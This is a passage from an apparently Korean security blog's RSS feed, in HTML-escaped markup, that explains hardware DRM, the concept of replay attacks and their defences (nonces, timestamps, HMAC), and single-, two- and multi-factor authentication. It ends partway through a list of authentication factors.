&lt;li&gt;오프라인 사용 기간 제한 (예: 다운로드 후 30일까지만 재생)&lt;/li&gt;
&lt;li&gt;출력 제한 (예: 프린트 횟수, 화면 해상도 제한)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이를 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;OS, 앱, 브라우저, 하드웨어&lt;/b&gt;&lt;/span&gt;와 긴밀히 통합됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&amp;nbsp;하드웨어 기반 DRM (Hardware-based DRM)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소프트웨어만으로 DRM을 구현하면 크랙이나 해킹에 취약할 수 있습니다.&lt;/li&gt;
&lt;li&gt;그래서 하드웨어 수준에서 DRM을 적용하기도 합니다:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HDCP (High-bandwidth Digital Content Protection): HDMI, DisplayPort 등 고화질 전송에서 암호화.&lt;/li&gt;
&lt;li&gt;Trusted Platform Module (TPM): 기기 내 보안 칩을 이용해 DRM 키 보호.&lt;/li&gt;
&lt;li&gt;Secure Enclave (예: Apple 제품): 암호화 키를 안전하게 저장.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이 방식은 콘텐츠가 메모리나 화면으로 흘러나가는 경로까지 보호합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&amp;nbsp;클라이언트-서버 통신 및 보안 (Secure Client-Server Communication)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DRM은 일반적으로 클라이언트(사용자 디바이스)와 서버 간&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;TLS/SSL&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;암호화 통신을 통해 작동합니다.&lt;/li&gt;
&lt;li&gt;키와 라이선스 정보가 유출되거나 중간자 공격을 받지 않도록 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/28</guid>
      <comments>https://defcon.tistory.com/28#entry28comment</comments>
      <pubDate>Sat, 3 May 2025 13:53:29 +0900</pubDate>
    </item>
    <item>
      <title>Replay 공격에 대한 개념</title>
      <link>https://defcon.tistory.com/27</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Replay Attack&lt;/b&gt;&lt;span&gt;은 공격자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;합법적인 사용자 간의 통신 데이터를 가로채고&lt;/b&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;b&gt;그 데이터를 다시 전송(재생)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;하여 이득을 얻거나 시스템을 속이는 공격입니다.&lt;/li&gt;
&lt;li&gt;즉, 통신을 &amp;ldquo;이해&amp;rdquo;하지 못하더라도, &lt;span&gt;&lt;b&gt;&amp;ldquo;정상적인 데이터를 그대로 재전송&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;해서 시스템이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;진짜 요청&lt;/b&gt;&lt;/span&gt;으로 오인하도록 만드는 것입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;요약:&amp;ldquo;기존에 주고받은 정상 메시지를 가로채고, 다시 보내서 속이는 공격&amp;rdquo;&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Replay Attack의 기본 흐름&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;A(사용자)가 B(서버)에게 정상적인 요청을 보냄.&lt;/li&gt;
&lt;li&gt;공격자(Eve)가 이 통신을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;가로채고 저장&lt;/b&gt;&lt;/span&gt;함.&lt;/li&gt;
&lt;li&gt;이후 Eve가 저장해둔 정상 요청을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;다시 B에게 재전송&lt;/b&gt;&lt;/span&gt;함.&lt;/li&gt;
&lt;li&gt;B는 이를 새로운 요청으로 착각하고, 정상적인 응답을 함.&lt;/li&gt;
&lt;li&gt;결과적으로 공격자는 인증, 결제, 로그인 등의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;행위를 가짜로 복제&lt;/b&gt;&lt;/span&gt;하게 됨.&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Replay Attack의 대표적인 목표&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;목표&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;세션 재사용(Session Replay)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;과거에 유효했던 인증 세션을 다시 보내 인증 통과&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;명령 재전송(Command Replay)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;과거에 수행된 송금, 승인 명령을 다시 실행&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;트랜잭션 재플레이(Transaction Replay)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;금융 거래, 주문을 다시 복제&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Replay Attack이 잘 일어나는 조건&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;통신이 암호화되지 않았거나, 암호화돼 있어도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;신선성(freshness)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;검증이 없는 경우&lt;/li&gt;
&lt;li&gt;인증토큰이나 세션ID에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;만료 시간&lt;/b&gt;&lt;/span&gt;이 없거나 약한 경우&lt;/li&gt;
&lt;li&gt;요청에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;고유 식별자&lt;/b&gt;&lt;/span&gt;(nonce, timestamp 등)가 없는 경우&lt;/li&gt;
&lt;li&gt;통신이 단순 반복 요청에 대해 아무 검증 없이 응답하는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Replay Attack의 실제 예시&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;예시&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;ATM 카드 인증&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;카드가 한번 승인된 트랜잭션을 저장 &amp;rarr; 나중에 다시 재전송해 돈 인출&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;온라인 결제&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;구매 요청 패킷을 가로채 저장 &amp;rarr; 다시 보내서 상품 2개 구매&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Wi-Fi 4-way handshake Replay&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;WPA2 인증 과정 중 메시지를 재생하여 복호화 공격 시도 (KRACK Attack)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;로그인 인증 세션&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;이미 인증된 세션 토큰을 훔쳐 재사용하여 로그인&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Replay Attack 방어 방법&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;방법&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Nonce 사용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;매 요청마다 한번만 사용하는 무작위 수(Nonce)를 포함&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Timestamp 사용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;요청에 현재 시간을 포함하고, 유효 시간(window)을 짧게 설정&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Session Expiry&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;세션, 인증 토큰 등에 짧은 만료 시간 적용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Sequence Number&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;통신에 일련 번호를 부여해 순서를 강제&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Mutual Authentication&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;양쪽 모두 인증 절차를 거쳐 중간자 공격을 방지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;메시지 무결성 확인(MAC, HMAC)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;메시지가 변조되지 않았는지 검증&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/27</guid>
      <comments>https://defcon.tistory.com/27#entry27comment</comments>
      <pubDate>Fri, 2 May 2025 22:42:43 +0900</pubDate>
    </item>
    <item>
      <title>사용자 인증 SFA 2FA MFA 개념</title>
      <link>https://defcon.tistory.com/26</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Single-Factor Authentication (SFA)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단일 인증&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;의미&lt;/b&gt;: 사용자가 하나의 인증 요소만으로 본인을 인증하는 방식입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;아이디 + 비밀번호 로그인&lt;/li&gt;
&lt;li&gt;은행 카드 사용 시 카드 번호 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인증 요소&lt;/b&gt;는 오직 하나 (know&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;ndash; 사용자가 아는 것)&lt;/li&gt;
&lt;li&gt;구현은 쉽고 사용자 친화적이지만&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;보안성이 낮음&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 비밀번호 유출 시 누구나 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;취약점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호가 약하거나 재사용되면 쉽게 뚫릴 수 있음&lt;/li&gt;
&lt;li&gt;피싱, 키로거, 브루트포스 공격에 취약&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Two-Factor Authentication (2FA)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이중 인증&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;의미&lt;/b&gt;: 서로 다른 두 가지 인증 요소를 결합해 본인을 인증하는 방식입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;아이디 + 비밀번호 (첫 번째 요소: 아는 것)&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OTP 코드, 문자 인증, 모바일 앱 알림 (두 번째 요소: 가지고 있는 것)&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ATM에서 카드 (가지고 있는 것) + 비밀번호 (아는 것)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인증 요소 조합&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;아는 것&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Something you know): 비밀번호, PIN&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가지고 있는 것&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Something you have): 스마트폰, OTP 토큰, 보안카드&lt;/li&gt;
&lt;li&gt;&lt;b&gt;본인임을 증명하는 것&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Something you are): 지문, 홍채, 얼굴&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하나의 요소가 뚫리더라도 두 번째 요소로 보완 &amp;rarr; 보안성이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;크게 향상&lt;/b&gt;됨&lt;/li&gt;
&lt;li&gt;사용자가 약간의 추가 행동을 해야 해서 SFA보다 약간 불편할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span&gt;3. &lt;/span&gt;Multi-Factor Authentication (MFA)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다중 인증&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;의미&lt;/b&gt;: 두 가지 이상, 즉 최소 세 가지 이상 인증 요소를 사용하는 방식 (일반적으로는 2FA도 MFA에 포함시키지만, 좁은 의미로는 3개 이상을 의미할 때 쓰이기도 함).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호 + OTP + 지문 인증&lt;/li&gt;
&lt;li&gt;카드 + PIN + 얼굴 인식&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서로 다른&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;두 가지 이상의 범주&lt;/b&gt;에서 인증 요소를 결합&lt;/li&gt;
&lt;li&gt;2FA보다 더 높은 보안을 제공, 특히 보안이 매우 중요한 환경(군사, 금융, 고위 경영층 시스템 등)에서 사용&lt;/li&gt;
&lt;li&gt;사용 편의성은 상대적으로 떨어질 수 있으나, 보안 수준은 최상급&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요약&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;수&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;예시&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;보안성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SFA&lt;/td&gt;
&lt;td&gt;1개&lt;/td&gt;
&lt;td&gt;비밀번호만, 카드만&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2FA&lt;/td&gt;
&lt;td&gt;2개&lt;/td&gt;
&lt;td&gt;비밀번호 + OTP, 카드 + PIN&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MFA&lt;/td&gt;
&lt;td&gt;2개 이상&lt;/td&gt;
&lt;td&gt;비밀번호 + OTP + 생체인증&lt;/td&gt;
&lt;td&gt;매우 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;인증요소&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;1. &lt;/span&gt;&lt;b&gt;Something you know (당신이 아는 것)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정의&lt;/b&gt;: 사용자가 알고 있는 비밀 정보&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호&lt;/li&gt;
&lt;li&gt;PIN 번호 (예: 은행 카드 PIN)&lt;/li&gt;
&lt;li&gt;패턴 (스마트폰 잠금 패턴)&lt;/li&gt;
&lt;li&gt;답변형 질문 (예: 비밀번호 찾기 시 &amp;ldquo;어머니의 결혼 전 성은?&amp;rdquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전통적인 인증 요소, 오래전부터 사용됨&lt;/li&gt;
&lt;li&gt;입력만으로 인증되므로 사용 편의성이 좋음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;취약점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쉽게 추측될 수 있음 (예: 생일, 1234 같은 비밀번호)&lt;/li&gt;
&lt;li&gt;재사용하거나 메모해두면 유출 위험 증가&lt;/li&gt;
&lt;li&gt;피싱, 키로깅, 사전 공격(brute-force) 등에 약함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Something you have (당신이 가진 것)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정의&lt;/b&gt;: 사용자가 소유한 물리적 장치나 토큰&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스마트폰 (문자 메시지, OTP 앱, 푸시 알림 수신용)&lt;/li&gt;
&lt;li&gt;하드웨어 토큰 (예: RSA 보안 토큰, OTP 생성기)&lt;/li&gt;
&lt;li&gt;스마트카드, 보안 카드, USB 보안 키 (예: YubiKey)&lt;/li&gt;
&lt;li&gt;은행 카드 (실물 카드 자체)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;물리적으로 소유해야 하므로, 유출되더라도 물리적 절도 없이는 사용 어려움&lt;/li&gt;
&lt;li&gt;&lt;b&gt;취약점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;분실하거나 도난당할 수 있음&lt;/li&gt;
&lt;li&gt;복제 가능성이 존재(특히 보안이 낮은 장치나 카드)&lt;/li&gt;
&lt;li&gt;배터리나 네트워크 의존성이 있는 경우 사용 불편 가능성&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. Something about you (당신 자체, 생체적 특징)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정의&lt;/b&gt;: 사용자의 고유한 생물학적/행동학적 특성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;:
